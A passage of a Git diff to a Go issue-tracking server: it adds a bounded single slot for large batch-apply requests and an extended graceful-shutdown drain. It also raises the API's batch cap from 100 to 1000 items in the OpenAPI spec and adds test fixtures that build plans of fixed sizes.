hold a write transaction open for minutes". A small apply + // never touches it. + // + // The wait to acquire this slot is itself BOUNDED — see + // acquireLargeApply — deliberately: a goroutine queued here still holds + // its sem slot (route() acquires sem before the handler ever runs), so + // an unbounded wait here would starve every other request behind a full + // sem the instant enough large applies queued up. + largeApplySem chan struct{} + // largeApplyCeiling is the resolved Config.LargeApplyCeiling (defaulted + // via orDefault to DefaultLargeApplyCeiling). acquireLargeApply builds + // each run's deadline from this, fresh, at the moment the slot is + // acquired — never before, so time spent queued is never charged against + // the run itself. + largeApplyCeiling time.Duration + // largeApplyDeadline is the wall-clock deadline of the large apply + // currently holding largeApplySem, or nil when none is in flight. + // Serve's graceful-drain shutdown reads it to decide how long to wait + // for that request rather than cutting it off at the ordinary + // drainTimeout: a graceful drain waits for an in-flight large apply up to + // its own deadline, and — because acquireLargeApply refuses a NEW + // acquisition once s.closing fires — that in-flight request is the only + // one the budget ever has to cover. + largeApplyDeadline atomic.Pointer[time.Time] + // largeApplyWaiting gates the BOUNDED wait in acquireLargeApply to at + // most one goroutine at a time. Without this, every large request beyond + // the one holding largeApplySem would still queue for up to semTimeout + // waiting on the slot — and each queued goroutine holds its own sem slot + // the whole time it waits (route() acquires sem before the handler runs), + // so a burst of large requests could occupy up to semTimeout worth of + // general concurrency slots simply queueing, starving ordinary small + // requests for that whole window even though only one of them could ever + // win the large-apply slot. A second large request arriving while one is + // already queued is refused immediately (ErrBusy, no wait at all) instead + // of queueing behind it. + largeApplyWaiting atomic.Bool // auth is nil on an unauthenticated server, which is the loopback default. auth *TokenFileAuth - // semTimeout, semWarn, writeStall, watchPoll and watchBeat default to the - // constants above. They are fields rather than constants at the point of use - // so the queueing, stalled-write and streaming behavior can be exercised in - // milliseconds instead of tens of seconds. + // semTimeout, semWarn, writeStall, watchPoll, watchBeat and drainTimeout + // default to the constants above. They are fields rather than constants + // at the point of use so the queueing, stalled-write, streaming and + // drain behavior can be exercised in milliseconds instead of tens of + // seconds. semTimeout time.Duration semWarn time.Duration writeStall time.Duration watchPoll time.Duration watchBeat time.Duration + // drainTimeout overrides the package-level drainTimeout constant used as + // drainBudget's floor. A test shrinks this to prove Serve's drain + // actually EXTENDS past it for an in-flight large apply, instead of + // merely asserting the pure drainBudget helper's return value — see + // TestServeExtendsDrainPastAFixedFloorForAnInFlightLargeApply. + drainTimeout time.Duration // closing is closed when a graceful shutdown begins, and it is the ONLY // notice a streaming handler gets: http.Server.Shutdown waits for active @@ -527,9 +632,11 @@ func Listen(cfg Config) (*Server, error) { workspaceMemories: cfg.Memories, eventsJournal: cfg.EventsJournal, - sem: make(chan struct{}, maxInflight), - semTimeout: semAcquireTimeout, - semWarn: saturationWarn, + sem: make(chan struct{}, maxInflight), + semTimeout: semAcquireTimeout, + semWarn: saturationWarn, + largeApplySem: make(chan struct{}, 1), + largeApplyCeiling: orDefault(cfg.LargeApplyCeiling, DefaultLargeApplyCeiling), closing: make(chan struct{}), maxWatchStreams: maxWatchStreams, @@ -683,6 +790,31 @@ func checkDatabaseSource(cfg Config) error { // the ephemeral default. func (s *Server) Addr() string { return s.listener.Addr().String() } +// drainBudget computes how long Serve should wait for in-flight work to +// finish once shutdown begins. It is a pure function, pulled out of Serve so +// the EXTENSION behavior described on Serve's doc comment — a large apply +// still in flight gets AT LEAST the remainder of its own deadline, not just +// the ordinary drainTimeout — can be pinned directly by a fast unit test +// (TestDrainBudget) instead of only indirectly, via a real multi-second wait. +// +// base is the floor Serve uses when no large apply is in flight — ordinarily +// the package-level drainTimeout constant, but overridable per-Server (see +// Server.drainTimeout) so a test can shrink it and observe Serve's ACTUAL +// drain genuinely outlasting that floor for an in-flight large apply, rather +// than only asserting this helper's return value in isolation. +// +// largeApplyDeadline is s.largeApplyDeadline.Load()'s result: nil when no +// large apply holds the slot at the moment shutdown starts. +func drainBudget(base time.Duration, largeApplyDeadline *time.Time) time.Duration { + budget := base + if largeApplyDeadline != nil { + if remaining := time.Until(*largeApplyDeadline); remaining > budget { + budget = remaining + drainGrace + } + } + return budget +} + // Serve accepts requests until ctx is canceled, then drains. It returns nil // on a clean shutdown; a listener failure is returned as-is. // @@ -690,6 +822,32 @@ func (s *Server) Addr() string { return s.listener.Addr().String() } // Shutdown does not cancel in-flight handler contexts: killing such a // connection early would leave the client unable to tell whether its write // landed. +// +// A large batch-apply can legitimately still be running at up to its own +// largeApplyCeiling (an operator flag, 5 minutes by default) when shutdown +// begins — far past the ordinary drainTimeout — so the budget here EXTENDS to +// that request's own deadline when one is in flight (s.largeApplyDeadline), +// instead of killing a transaction that may already be minutes into +// committing. An ordinary shutdown with no large apply in flight is +// unaffected: it still drains in drainTimeout. +// +// s.closing is closed here, BEFORE the budget is computed, rather than left +// to fire only when http.Server.Shutdown is called below: RegisterOnShutdown +// hooks (closeStreams among them) run when Shutdown is CALLED, not before, so +// computing the budget first would leave a window where a large apply could +// still start — and admitLargeApply's own post-acquisition recheck of +// s.closing is the second gate that closes that window from the other side. +// +// This is safe to compute ONCE, at shutdown start, because +// acquireLargeApply refuses every NEW acquisition of the large-apply slot +// once s.closing fires: the in-flight request this budget was sized for is +// the only one that can still be holding the slot by now, never a later +// arrival that queued after the snapshot. +// +// The operator's orchestrator stop grace must be AT LEAST largeApplyCeiling +// plus drainGrace, or a SIGKILL from outside this process can still cut off +// an in-flight large apply this drain would otherwise have waited out; see +// engdocs/SERVE_RUNBOOK.md. func (s *Server) Serve(ctx context.Context) error { errCh := make(chan error, 1) go func() { errCh <- s.http.Serve(s.listener) }() @@ -703,10 +861,17 @@ func (s *Server) Serve(ctx context.Context) error { case <-ctx.Done(): } - s.event("shutdown_start", "drain_timeout", drainTimeout.String(), "conns", s.liveConns.Load()) + // Close s.closing before computing the drain budget (see doc comment + // above): closeStreams is idempotent (sync.Once), so it is safe to call + // here AND still leave it registered via RegisterOnShutdown for when + // Shutdown runs below. + s.closeStreams() + + budget := drainBudget(orDefault(s.drainTimeout, drainTimeout), s.largeApplyDeadline.Load()) + s.event("shutdown_start", "drain_timeout", budget.String(), "conns", s.liveConns.Load()) // Detached: ctx is already canceled, and the drain is the point. - drainCtx, cancel := context.WithTimeout(context.WithoutCancel(ctx), drainTimeout) + drainCtx, cancel := context.WithTimeout(context.WithoutCancel(ctx), budget) defer cancel() if err := s.http.Shutdown(drainCtx); err != nil { @@ -1301,6 +1466,130 @@ func orDefault(v, fallback time.Duration) time.Duration { return fallback } +// acquireLargeApply takes the one-wide large-write slot for a POST +// issues:batchApply request over largeApplyItemThreshold items, and builds +// that request's run context. +// +// THE WAIT IS BOUNDED, on the SAME orDefault(s.semTimeout, semAcquireTimeout) +// budget acquire uses for the ordinary sem — not the caller's own request +// deadline, and not unbounded. A goroutine queued here still holds its +// general sem slot (route() acquires sem before the handler runs, and holds +// it for the handler's whole lifetime), so an unbounded wait would let enough +// queued large applies starve every other request behind a saturated sem; +// see TestLargeApplyQueueDoesNotStarveOrdinaryRequests. Every refusal this +// function can produce — the bounded wait expiring, s.closing firing because +// a graceful shutdown began, or the caller's own ctx.Done() firing while +// queued — answers ErrBusy, never a raw ctx.Err(): nothing was written in any +// of those cases, so the caller gets a 503 with Retry-After rather than the +// non-retryable 500 a bare context error would classify as (ClassifyError +// deliberately excludes context errors from its 503 path for OTHER callers, +// where a context error can mean a write is in flight — that exclusion does +// not apply here, because this slot guards nothing but queue position). +// +// THE RUN DEADLINE IS STAMPED ONLY ON SUCCESS, and only once the slot is +// actually held: runCtx is a DETACHED copy of ctx (context.WithoutCancel) +// given a fresh largeApplyCeiling-wide timeout starting NOW, not narrowed +// from whatever deadline ctx already carried and not started back when the +// request first queued. That is what makes this an EXTENSION of the small +// request's ordinary budget rather than a narrowing of it: every request +// under largeApplyItemThreshold items runs under route()'s own unconditional +// requestDeadline and never reaches this function at all, and a request that +// clears the threshold gets a whole fresh largeApplyCeiling on top of +// whatever it already spent queued. Detaching from ctx's cancellation means a +// client disconnect mid-run does not abort an already-admitted large apply — +// deliberate, because it is a single atomic write that should not be +// abandoned half-considered merely because the caller stopped reading; the +// same trade-off WithUOW's own deferred close already makes for a request +// context. +// +// release cancels runCtx, clears s.largeApplyDeadline and frees the slot, in +// that order, so nothing observes the deadline as cleared while the run +// context is still live. +func (s *Server) acquireLargeApply(ctx context.Context) (runCtx context.Context, release func(), err error) { + select { + case <-s.closing: + return nil, nil, ErrBusy + default: + } + select { + case s.largeApplySem <- struct{}{}: + return s.admitLargeApply(ctx) + default: + } + + // At most ONE caller may queue for the slot at a time. Without this gate, + // every large request beyond the one already holding largeApplySem would + // still wait up to semTimeout below — and each of those waiters holds its + // own sem slot the whole time (route() acquires sem before the handler + // runs) — so a burst of large requests could occupy a semTimeout's worth + // of general concurrency slots merely queueing, starving small requests + // for that whole window even though only one waiter could ever win the + // large-apply slot. A second large request arriving while one is already + // queued is refused immediately: no wait, no sem slot held for it. + if !s.largeApplyWaiting.CompareAndSwap(false, true) { + return nil, nil, ErrBusy + } + defer s.largeApplyWaiting.Store(false) + + timer := time.NewTimer(orDefault(s.semTimeout, semAcquireTimeout)) + defer timer.Stop() + select { + case s.largeApplySem <- struct{}{}: + return s.admitLargeApply(ctx) + case <-timer.C: + return nil, nil, ErrBusy + case <-s.closing: + return nil, nil, ErrBusy + case <-ctx.Done(): + // The client hung up, or the request's own (unrelated, ordinary) + // deadline expired, while still queued for the slot. Nothing was + // written — this path never opened a transaction — so it is the same + // ErrBusy every other refusal above answers, not ctx.Err(). + return nil, nil, ErrBusy + } +} + +// admitLargeApply runs once acquireLargeApply has actually taken the slot: it +// builds the run's own detached, freshly-timed context and stamps +// s.largeApplyDeadline for Serve's graceful-drain budget to read. +// +// The run context is also marked with issueops.WithExtendedRetryBudget, and +// this is the only place that marks one: the marker, not the deadline's size, +// is what lets a BatchApplier's commit-retry loop scale to the extended +// budget instead of stopping at its ordinary fixed ceiling. An ordinary +// request never reaches this function, so it stays unmarked. +// +// It re-checks s.closing AFTER taking the slot and storing the deadline, +// because a select with multiple ready cases (largeApplySem and s.closing +// both ready at once, in acquireLargeApply above) picks pseudo-randomly: the +// slot can be won in the same instant a graceful shutdown begins, racing +// ahead of Serve's drainBudget snapshot. Losing that race here — releasing +// the slot and refusing with ErrBusy — is what keeps Serve's "the in-flight +// request this budget was sized for is the only one that can still be +// holding the slot" invariant true. +func (s *Server) admitLargeApply(ctx context.Context) (runCtx context.Context, release func(), err error) { + runCtx, cancel := context.WithTimeout( + issueops.WithExtendedRetryBudget(context.WithoutCancel(ctx)), + orDefault(s.largeApplyCeiling, DefaultLargeApplyCeiling), + ) + deadline, _ := runCtx.Deadline() + s.largeApplyDeadline.Store(&deadline) + release = func() { + cancel() + s.largeApplyDeadline.Store(nil) + <-s.largeApplySem + } + + select { + case <-s.closing: + release() + return nil, nil, ErrBusy + default: + } + + return runCtx, release, nil +} + // handler builds the whole request path: the route table's registrations, the // catch-all that keeps unrouted paths on the same error shape, and the // middleware in front of both. @@ -1956,6 +2245,12 @@ func (s *Server) logStartup() { "max_conns", maxConns, "sem_wait", semAcquireTimeout.String(), "deadline", requestDeadline.String(), + // large_apply_ceiling is the PER-ROUTE budget a POST + // issues:batchApply request over largeApplyItemThreshold items gets, + // separate from the ordinary "deadline" above: an operator reading + // this line must not conclude every request here is bounded by the + // 60s "deadline" figure just because that is the only one printed. + "large_apply_ceiling", orDefault(s.largeApplyCeiling, DefaultLargeApplyCeiling).String(), } // The pool bounds are this server's, applied to the provider above. On the // roles source there is no pool here to bound, and printing the numbers diff --git a/internal/httpapi/server_test.go b/internal/httpapi/server_test.go index f84f419fb..6bae6ef99 100644 --- a/internal/httpapi/server_test.go +++ b/internal/httpapi/server_test.go @@ -632,10 +632,10 @@ func TestCapabilitiesAdvertiseEveryImplementedOperation(t *testing.T) { t.Fatal("the route table contributed no capabilities; this case would pass against a server that advertises nothing") } // The behavior tokens name no route, so the table walk above cannot reach - // them; project.enforce is advertised in the same list. It is spelled - // literally here to keep this an independent oracle rather than a second - // call to the code under test. - want = append(want, "project.enforce") + // them; project.enforce and issues.batchApplyLarge are advertised in the + // same list. Both are spelled literally here to keep this an independent + // oracle rather than a second call to the code under test. + want = append(want, "project.enforce", "issues.batchApplyLarge") slices.Sort(want) if !slices.Equal(got, want) { t.Errorf("capabilities = %v, want %v", got, want) diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 4fde46144..71d23b419 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -3841,12 +3841,19 @@ paths: ## What lands, and what it costs - `items` accepts at most 100 entries. The cap bounds how long one request - may hold a write transaction — it is not a statement about batch - semantics, and it is the bound the sibling batch operations already run - under. Split a larger plan; each request is atomic on its own, but note - that splitting it changes what the end gate can see, since the gate runs - over one request at a time. + `items` accepts at most 1000 entries (raised from 100; see the + `issues.batchApplyLarge` capability token on `ContextResponse`). The + cap bounds how long one request may hold a write transaction — it is + not a statement about batch semantics. A request over 100 items also + EXTENDS the effective request deadline to an operator-configured + ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) + instead of the ordinary small-request deadline, so a plan that + genuinely needs minutes to apply is not cut off mid-commit; a request + at or under 100 items keeps exactly the deadline — and the sibling + batch operations' bound — it has always had. Split a larger plan if + you must; each request is atomic on its own, but note that splitting + it changes what the end gate can see, since the gate runs over one + request at a time. ONE HISTORY ENTRY IS RECORDED FOR THE WHOLE REQUEST, attributed to @@ -7449,12 +7456,26 @@ components: `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, - `issues.casMetadata`; the one behavior token is `project.enforce`, + `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace - is refused here rather than silently ignored. The list grows - additively, and an operation never appears here unless it is fully - implemented. This is how a client checks for an operation or a - behavior — never the version string. + is refused here rather than silently ignored, and + `issues.batchApplyLarge`, which announces that + `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — + up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB + body, and (for a request over 100 items) a run budget that + EXTENDS to an operator-configured ceiling (`bd serve + --large-apply-ceiling`, 5 minutes by default) — rather than the + original 100-item, 4 MiB bound. The ceiling is a flat whole-run + budget, not a value scaled by item count: a 101-item request and a + 1000-item request both get the same extended budget. A request at + or under 100 items is unaffected either way and keeps the + server's ordinary deadline exactly as before. A client that + checks for this token before sending a plan over 100 items learns + whether THIS server accepts it without paying for a round trip an + older server would refuse anyway. The list grows additively, and + an operation never appears here unless it is fully implemented. + This is how a client checks for an operation or a behavior — + never the version string. THIS LIST IS BUILD-LEVEL, NOT WORKSPACE-LEVEL. It says which @@ -8796,7 +8817,7 @@ components: items: type: array minItems: 1 - maxItems: 100 + maxItems: 1000 description: >- The items to apply, IN THE ORDER THEY ARE TO BE APPLIED. An empty array is a `400` rather than a successful no-op: a write request that @@ -8804,10 +8825,20 @@ components: client whose own plan filtered to nothing silently stops writing. - The 100-item cap bounds how long one request may hold a write - transaction, not batch semantics. Split a larger plan; each request - is atomic on its own — but splitting it changes what the end gate - can see, since the gate runs over one request at a time. + The 1000-item cap (raised from 100; see the `issues.batchApplyLarge` + capability token on `ContextResponse`) bounds how long one request + may hold a write transaction, not batch semantics. A request over + 100 items also EXTENDS the effective request deadline: the server + grants a flat, operator-configured ceiling (`bd serve + --large-apply-ceiling`, 5 minutes by default) instead of the + ordinary small-request deadline, so a plan that genuinely needs + minutes to apply is not cut off mid-commit. It never narrows: a + request at or under 100 items keeps exactly the deadline it has + always had. Split a larger plan if you must; each request is + atomic on its own — but splitting it changes what the end gate + can see, since the gate runs over one request at a time, and the + server itself never splits a plan you send it: a single `items` + array either commits in full or changes nothing. A per-item refusal names its offender as `items[i].kind.member`. diff --git a/internal/storage/BUILD.bazel b/internal/storage/BUILD.bazel index eb25b139e..ec88277a8 100644 --- a/internal/storage/BUILD.bazel +++ b/internal/storage/BUILD.bazel @@ -136,6 +136,7 @@ filegroup( ":go_srcs", "//internal/storage/backendnames:go_srcs", "//internal/storage/backends:go_srcs", + "//internal/storage/batchfixtures:go_srcs", "//internal/storage/contextinfo:go_srcs", "//internal/storage/dberrors:go_srcs", "//internal/storage/dbproxy/identity:go_srcs", @@ -163,6 +164,7 @@ filegroup( "//internal/storage/schema:go_srcs", "//internal/storage/sqlbuild:go_srcs", "//internal/storage/sqlclass:go_srcs", + "//internal/storage/sqlcount:go_srcs", "//internal/storage/storagecontract:go_srcs", "//internal/storage/uow:go_srcs", "//internal/storage/versioncontrolops:go_srcs", diff --git a/internal/storage/batch_apply_test.go b/internal/storage/batch_apply_test.go index 67b5cefdc..33b148958 100644 --- a/internal/storage/batch_apply_test.go +++ b/internal/storage/batch_apply_test.go @@ -58,9 +58,9 @@ func int64Ptr(v int64) *int64 { return &v } // every one of them is knowable from the request alone, so a request refused // here has provably touched no database. func TestPlanApplyBatchRefusesAnUnusableRequest(t *testing.T) { - hundredAndOne := make([]issueops.ApplyItem, 101) - for i := range hundredAndOne { - hundredAndOne[i] = planApplyCreate("") + overCap := make([]issueops.ApplyItem, issueops.MaxApplyBatchItems+1) + for i := range overCap { + overCap[i] = planApplyCreate("") } for _, test := range []struct { @@ -70,7 +70,7 @@ func TestPlanApplyBatchRefusesAnUnusableRequest(t *testing.T) { }{ {"no actor", issueops.ApplyBatchRequest{Items: []issueops.ApplyItem{planApplyCreate("")}}, "requires an actor"}, {"no items", issueops.ApplyBatchRequest{Actor: "planner"}, "at least one item"}, - {"too many items", issueops.ApplyBatchRequest{Actor: "planner", Items: hundredAndOne}, "at most 100 items"}, + {"too many items", issueops.ApplyBatchRequest{Actor: "planner", Items: overCap}, fmt.Sprintf("at most %d items", issueops.MaxApplyBatchItems)}, {"no payload", planApplyRequest(issueops.ApplyItem{Kind: issueops.ItemCreate}), "exactly one payload"}, { "two payloads", diff --git a/internal/storage/batchfixtures/BUILD.bazel b/internal/storage/batchfixtures/BUILD.bazel new file mode 100644 index 000000000..9afbdd6a5 --- /dev/null +++ b/internal/storage/batchfixtures/BUILD.bazel @@ -0,0 +1,39 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "batchfixtures", + srcs = [ + "batchfixtures.go", + "uncapped_plan.go", + ], + importpath = "github.com/steveyegge/beads/internal/storage/batchfixtures", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/storage", + "//internal/types", + "//issueops", + ], +) + +go_test( + name = "batchfixtures_test", + srcs = ["batchfixtures_test.go"], + deps = [ + ":batchfixtures", + "//internal/storage", + "//issueops", + ], +) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/batchfixtures/batchfixtures.go b/internal/storage/batchfixtures/batchfixtures.go new file mode 100644 index 000000000..cb1ad6958 --- /dev/null +++ b/internal/storage/batchfixtures/batchfixtures.go @@ -0,0 +1,256 @@ +// Package batchfixtures builds issueops.ApplyBatchRequest values shaped like +// the plans measured for the large-batch-apply work: the mol-normalized +// issue/PR work plan (and its 2x variant) and a "classic" hand-authored +// plan. It does no I/O — every fixture here is pure data construction — so a +// benchmark or test in any backend package can import it without risking an +// import cycle with internal/storage/issueops (which the backend packages +// already import for ApplyBatchInTx itself). +package batchfixtures + +import ( + "encoding/json" + "fmt" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// createKey names the Nth created work item across every shape here, so a +// caller inspecting a failure can tell which fixture minted a given key. +func createKey(prefix string, n int) string { + return fmt.Sprintf("%s-w%d", prefix, n) +} + +// molCounts is the sub-item composition mol-normalized-issue-pr-work-v1 +// measures at 1x: 102 creates, 136 blocks edges, 102 tracks-to-root edges, +// 16 assign updates == 356 items total. +type molCounts struct { + creates int + blocksEdges int + tracksEdges int + assignItems int +} + +var mol1x = molCounts{creates: 102, blocksEdges: 136, tracksEdges: 102, assignItems: 16} + +// mol2x is the design's explicit 2x test point (712 items): every +// sub-category of mol1x doubled, rather than a differently-shaped plan. That +// is a modeling decision the design doc leaves open ("...2x the above +// shape") — doubling each sub-count is the literal reading and keeps the +// edge/create ratio identical between the two measured shapes, which is what +// makes them comparable points on the same curve. +var mol2x = molCounts{creates: 204, blocksEdges: 272, tracksEdges: 204, assignItems: 32} + +// molCap is mol1x's sub-category ratio scaled up to land exactly on +// issueops.MaxApplyBatchItems (1000): the top of the large-apply envelope the +// server's --large-apply-ceiling default (5 minutes) is sized against, so a +// wall-clock measurement at this shape is a measurement AT the cap, not an +// extrapolation from a smaller one. +var molCap = molCounts{creates: 286, blocksEdges: 382, tracksEdges: 286, assignItems: 46} + +// buildMolShape builds a mol-normalized-issue-pr-work-v1-shaped request: a +// flat batch of work-item creates (each carrying metadata), a blocks chain +// wiring them together, every created item tracking back to an +// already-existing root issue, and a tail of assignee updates on a subset of +// the created items. +// +// rootID must already exist in the target store — it is NOT created by this +// request, matching the shape's own description ("...tracks to the root"): +// the root is the pre-existing issue or PR the batch's new work tracks +// against, not itself a member of the batch. +func buildMolShape(actor, prefix string, c molCounts, rootID string) issueops.ApplyBatchRequest { + items := make([]issueops.ApplyItem, 0, c.creates+c.blocksEdges+c.tracksEdges+c.assignItems) + + // Creates, each carrying a small metadata blob — "creates with metadata" + // per the design's shape description. + for i := 1; i <= c.creates; i++ { + key := createKey(prefix, i) + meta, err := json.Marshal(map[string]any{ + "source": "mol-normalized-issue-pr-work-v1", + "seq": i, + }) + if err != nil { + panic(fmt.Sprintf("batchfixtures: marshal create metadata: %v", err)) + } + items = append(items, issueops.ApplyItem{ + Kind: issueops.ItemCreate, + Create: &issueops.CreateItem{ + Key: key, + Issue: &types.Issue{ + Title: fmt.Sprintf("%s work item %d", prefix, i), + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + Metadata: meta, + }, + }, + }) + } + + // Blocks edges: a deterministic, duplicate-free set of (source, source+skip) + // pairs over the created keys, generated by widening the skip distance + // once every (creates-1) edges are exhausted at the current skip. Every + // pair names two ALREADY-DECLARED create keys (both appear earlier in + // Items), which is what a backward-only Ref requires. + edgesAdded := 0 + for skip := 1; edgesAdded < c.blocksEdges; skip++ { + for i := 1; i+skip <= c.creates && edgesAdded < c.blocksEdges; i++ { + items = append(items, issueops.ApplyItem{ + Kind: issueops.ItemDepAdd, + DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: createKey(prefix, i)}, + Target: issueops.Ref{Key: createKey(prefix, i+skip)}, + Type: issueops.DepBlocks, + }, + }) + edgesAdded++ + } + } + + // Tracks-to-root edges: every created item tracks the pre-existing root. + for i := 1; i <= c.tracksEdges; i++ { + srcN := ((i - 1) % c.creates) + 1 + items = append(items, issueops.ApplyItem{ + Kind: issueops.ItemDepAdd, + DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: createKey(prefix, srcN)}, + Target: issueops.Ref{ID: rootID}, + Type: issueops.DepTracks, + }, + }) + } + + // Assign updates on a subset of the created items. + for i := 1; i <= c.assignItems; i++ { + assignee := fmt.Sprintf("agent-%d", i) + items = append(items, issueops.ApplyItem{ + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: issueops.Ref{Key: createKey(prefix, i)}, + Patch: issueops.IssuePatch{ + Assignee: issueops.Field[string]{Set: true, Value: assignee}, + }, + }, + }) + } + + return issueops.ApplyBatchRequest{ + Actor: actor, + Items: items, + Provenance: fmt.Sprintf("batchfixtures: mol-normalized-issue-pr-work-v1 (%d items)", len(items)), + } +} + +// Shape356 builds the design's primary measured shape: 102 creates with +// metadata, 238 edges (136 blocks + 102 tracks-to-root) and 16 assign +// updates, for 356 items total. rootID must already exist in the target +// store. +func Shape356(actor, rootID string) issueops.ApplyBatchRequest { + return buildMolShape(actor, "mol1x", mol1x, rootID) +} + +// Shape712 builds the design's 2x test point: every Shape356 sub-category +// doubled (204 creates, 476 edges [272 blocks + 204 tracks], 32 assign +// updates), for 712 items total. rootID must already exist in the target +// store. +func Shape712(actor, rootID string) issueops.ApplyBatchRequest { + return buildMolShape(actor, "mol2x", mol2x, rootID) +} + +// Shape1000 builds a plan at exactly issueops.MaxApplyBatchItems (286 +// creates, 668 edges [382 blocks + 286 tracks], 46 assign updates), for 1000 +// items total: the top of the large-apply envelope, for measuring wall-clock +// time at the cap rather than only at the design doc's 356/712 sample +// points. rootID must already exist in the target store. +func Shape1000(actor, rootID string) issueops.ApplyBatchRequest { + return buildMolShape(actor, "molcap", molCap, rootID) +} + +// ShapeClassic40 builds a 40-item "classic" (non-mol) plan: 10 creates, 20 +// edges (12 blocks + 8 parent-child) and 10 assign updates. +// +// The design doc does not pin exact sub-counts for the classic shape — it +// only describes MC's classic formulas qualitatively as "at most 9 source +// steps, so roughly 40 items or fewer". This composition is this +// implementation's modeling decision for a comparison point below the mol +// shape's edge-heavy ratio: parent-child plus blocks rather than +// tracks-to-root, because a classic (non-convoy) plan has no single root +// every item reports to. +func ShapeClassic40(actor string) issueops.ApplyBatchRequest { + const ( + creates = 10 + blocks = 12 + parentKids = 8 + assigns = 10 + ) + prefix := "classic" + items := make([]issueops.ApplyItem, 0, creates+blocks+parentKids+assigns) + + for i := 1; i <= creates; i++ { + items = append(items, issueops.ApplyItem{ + Kind: issueops.ItemCreate, + Create: &issueops.CreateItem{ + Key: createKey(prefix, i), + Issue: &types.Issue{ + Title: fmt.Sprintf("%s item %d", prefix, i), + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + }, + }, + }) + } + + edgesAdded := 0 + for skip := 1; edgesAdded < blocks; skip++ { + for i := 1; i+skip <= creates && edgesAdded < blocks; i++ { + items = append(items, issueops.ApplyItem{ + Kind: issueops.ItemDepAdd, + DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: createKey(prefix, i)}, + Target: issueops.Ref{Key: createKey(prefix, i+skip)}, + Type: issueops.DepBlocks, + }, + }) + edgesAdded++ + } + } + + // Parent-child edges: item 1 is the parent of item 4 through creates, + // cycling within that range if parentKids exceeds it. Items 2 and 3 are + // skipped deliberately — the blocks loop above always wires (1,2) and + // (1,3) first (skip=1's first pair and skip=2's first pair), and a pair + // may carry only one dependency TYPE: a parent-child edge on the same + // pair a blocks edge already claimed is refused as a type conflict, not + // silently added as a second edge. + for i := 1; i <= parentKids; i++ { + childN := 4 + ((i - 1) % (creates - 3)) // 4..creates, cycling + items = append(items, issueops.ApplyItem{ + Kind: issueops.ItemDepAdd, + DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: createKey(prefix, 1)}, + Target: issueops.Ref{Key: createKey(prefix, childN)}, + Type: issueops.DepParentChild, + }, + }) + } + + for i := 1; i <= assigns; i++ { + assignee := fmt.Sprintf("agent-%d", i) + items = append(items, issueops.ApplyItem{ + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: issueops.Ref{Key: createKey(prefix, i)}, + Patch: issueops.IssuePatch{ + Assignee: issueops.Field[string]{Set: true, Value: assignee}, + }, + }, + }) + } + + return issueops.ApplyBatchRequest{ + Actor: actor, + Items: items, + Provenance: fmt.Sprintf("batchfixtures: classic (%d items)", len(items)), + } +} diff --git a/internal/storage/batchfixtures/batchfixtures_test.go b/internal/storage/batchfixtures/batchfixtures_test.go new file mode 100644 index 000000000..ab7bb7758 --- /dev/null +++ b/internal/storage/batchfixtures/batchfixtures_test.go @@ -0,0 +1,103 @@ +package batchfixtures_test + +import ( + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/batchfixtures" + "github.com/steveyegge/beads/issueops" +) + +// TestShapeItemCounts pins the exact item count and per-kind composition of +// each fixture shape, so a change to batchfixtures itself (not the storage +// layer under test) is caught here rather than surfacing as a confusing +// statement-count drift in the backend-level pinning tests. +func TestShapeItemCounts(t *testing.T) { + const rootID = "root-1" + + tests := []struct { + name string + req issueops.ApplyBatchRequest + wantTotal int + wantCreate int + wantDepAdd int + wantUpdate int + wantClose int + }{ + { + name: "356 (mol 1x)", + req: batchfixtures.Shape356("tester", rootID), + wantTotal: 356, + wantCreate: 102, + wantDepAdd: 238, + wantUpdate: 16, + }, + { + name: "712 (mol 2x)", + req: batchfixtures.Shape712("tester", rootID), + wantTotal: 712, + wantCreate: 204, + wantDepAdd: 476, + wantUpdate: 32, + }, + { + name: "40 (classic)", + req: batchfixtures.ShapeClassic40("tester"), + wantTotal: 40, + wantCreate: 10, + wantDepAdd: 20, + wantUpdate: 10, + }, + } + + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + if got := len(tc.req.Items); got != tc.wantTotal { + t.Fatalf("len(Items) = %d, want %d", got, tc.wantTotal) + } + var creates, depAdds, updates, closes int + for _, item := range tc.req.Items { + switch item.Kind { + case issueops.ItemCreate: + creates++ + case issueops.ItemDepAdd: + depAdds++ + case issueops.ItemUpdate: + updates++ + case issueops.ItemClose: + closes++ + } + } + if creates != tc.wantCreate { + t.Errorf("creates = %d, want %d", creates, tc.wantCreate) + } + if depAdds != tc.wantDepAdd { + t.Errorf("dep_adds = %d, want %d", depAdds, tc.wantDepAdd) + } + if updates != tc.wantUpdate { + t.Errorf("updates = %d, want %d", updates, tc.wantUpdate) + } + if closes != tc.wantClose { + t.Errorf("closes = %d, want %d", closes, tc.wantClose) + } + + // Every shape must validate and plan cleanly against the role's own + // request-shape contract (ref ordering, key uniqueness, + // exactly-one-payload, the issueops.MaxApplyBatchItems cap) — a + // fixture that failed it would be measuring nothing, and one over + // the cap would be measuring a request no caller can send. + if 